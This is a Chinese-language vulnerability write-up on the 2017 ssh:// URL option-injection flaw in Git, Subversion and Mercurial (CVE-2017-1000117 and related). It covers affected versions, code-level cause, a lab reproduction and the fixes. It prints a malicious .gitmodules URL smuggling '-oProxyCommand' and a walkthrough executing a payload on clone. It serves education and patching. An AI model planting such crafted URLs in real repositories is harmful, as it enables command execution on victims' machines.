惡意SSH鏈接導致命令執行漏洞的示例分析

小編給大家分享一下惡意SSH鏈接導致命令執行漏洞的示例分析，相信大部分人都還不怎么了解，因此分享這篇文章給大家參考一下，希望大家閱讀完這篇文章后大有收獲，下面讓我們一起去了解一下吧！

一、漏洞介紹

前段時間，三款主流的源版本控制系統Git、Subversion (svn)、Mercurial，發布了更新補丁，修復了一個客戶端代碼執行漏洞。惡意的攻擊者可以向受害者發送一條精心構造的ssh:// URL鏈接，當受害者訪問這條URL則會觸發漏洞導致執行惡意代碼。該漏洞由GitLab的Brian Neel，Recurity Labs的Joan Schneeweiss和GitHub的Jeff King發現和報告。具體詳情如下：

漏洞編號：

Git: CVE-2017-1000117

Apache Subversion: CVE-2017-9800

Mercurial: CVE-2017-1000116

攻擊者通過精心構造一個”ssh://…”URL鏈接發送給受害者，如果受害者訪問了這個URL，則會導致惡意指令在客戶端執行，從而獲取主機權限。漏洞利用條件和方式:結合社會工程學遠程釣魚利用

漏洞影響范圍：

• Git：

Git <v2.7.6Git v2.8.6Git v2.9.5Git v2.10.4Git v2.11.3Git v2.12.4Git v2.13.5

• Apache Subversion：

Apache Subversion clients 1.0.0 through 1.8.18 (inclusive)Apache Subversion clients 1.9.0 through 1.9.6 (inclusive)Apache Subversion client 1.10.0-alpha3

• Mercurial:

Mercurial<4.3

二、漏洞原理分析

惡意人員可以通過巧妙構造“ssh://…”鏈接，讓受害人在執行程序等情況下訪問該惡意鏈接，從而達到命令執行的目的。該鏈接可以被放在 git項目的.gitmodules文件下，這樣當受害人對一個項目進行git clone --recurse-submodules操作時，就會引發安全問題。

如下是我們漏洞環境的.gitmodules文件：

[submodule "git"]    path = git    url = ssh://-oProxyCommand=sh<payload/wat

該漏洞主要由于SSH鏈接在hostname部分，若是用“-”開頭，那么會導致ssh命令將hostname誤認為這是一個選項。因此，我們可以利用“-oProxyCommand”選項來達到命令執行的目的。

在進行git clone 時候會調用到git/connect.c中的以下函數：

struct child_process *git_connect(int fd[2], const char *url,const char *prog, int flags)

其接受到的參數url為命令中“git clone xxx://xxxxxxxxxx/xx(.git)”的xxx://xxxxxxxxxx/xx(.git)部分。在該函數中會對傳入的這個字符串進行parse，提取其協議部分。在滿足協議為ssh://的時候會進入該函數的else部分。

然后根據下面的流程調用本地的SSH:

首先獲得本地的ssh路徑，然后push進conn->args，

然后獲得url中ssh_host部分再拼接路徑，

最后調用start_command函數進行命令執行。

start_command的定義在git/run-command.c

int start_command(struct child_process *cmd)

將傳入的cmd參數經過處理賦值給argv：

經過execve這個函數進行命令執行。但是在這個這個命令執行的內容是 “/usr/bin/ssh `ssh_host` path”而ssh命令的-o參數在一定程度上是可以執行命令的:

例如:

ssh -oProxyCommand=gnome-calculator xxx

將會在本地打開gnome的計算器。

所以如果我們在clone操作的時候將連接指定為：

git clone ssh://-oProxyCommand=gnome-calculator/cert

將取得同樣的命令執行的效果。

三、漏洞利用

我們在實驗環境為大家準備的項目地址如下：

http://172.16.12.2:8080/root/CVE-2017-1000117

項目里包含的預定義命令在CVE-2017-1000117/payload：id > /var/www/html/vuls:

首先來查看一下本機GIT版本，使用git --version命令：

如上，我們看到，本機git版本并非最新版，有可能存在該漏洞。

為了能驗證payload是否執行成功，我們要保證本機存在payload中的目錄/var/www/html，如果沒有，請先創建（mkdir /var/www/html）,此目錄僅用于漏洞驗證：

接著我們執行以下命令clone項目(實際利用場景有可能是被別有用心之人利用社會工程學欺騙所致)：

git clone --recurse-submodules "http://172.16.12.2:8080/root/CVE-2017-1000117.git"

如上圖，可能會有報錯，但不影響項目下載和惡意命令的執行：

我們使用ls -al CVE-2017-1000117命令查看該項目被下載到的位置：

如上可見，該項目被成功下載。

那么，項目里的預定義的命令id > /var/www/html/vuls有沒有被執行呢？我們使用ls -al /var/www/html/vuls命令驗證是否生成文件:

如上，文件成功生成。

使用cat命令查看該文件，查看命令執行結果：

如上圖可見，項目里的預定義命令被成功執行。

四、漏洞修復

Git官方已經對該漏洞進行了修復。在v2.14.1的commit中，可以看到git_connect函數中執行之前對ssh_host進行了驗證：

驗證內容為新增的這個函數:

該函數對ssh_host的第一個字符進行了校驗防止為"-"的情況抑制了向ssh傳遞參數的情況

并且在多處對傳入的host，port都做了該函數的過濾。

用戶只需要檢查是否使用受影響范圍內的版本，如果是，升級Git即可。

漏洞修復建議

Git：升級到Git v2.14.1版本

Apache Subversion：升級到Subversion 1.8.19、 Subversion 1.9.7版本

Mercurial：升級到Mercurial 4.3 and 4.2.3.版本

以上是“惡意SSH鏈接導致命令執行漏洞的示例分析”這篇文章的所有內容，感謝各位的閱讀！相信大家都有了一定的了解，希望分享的內容對大家有所幫助，如果還想學習更多知識，歡迎關注億速云行業資訊頻道！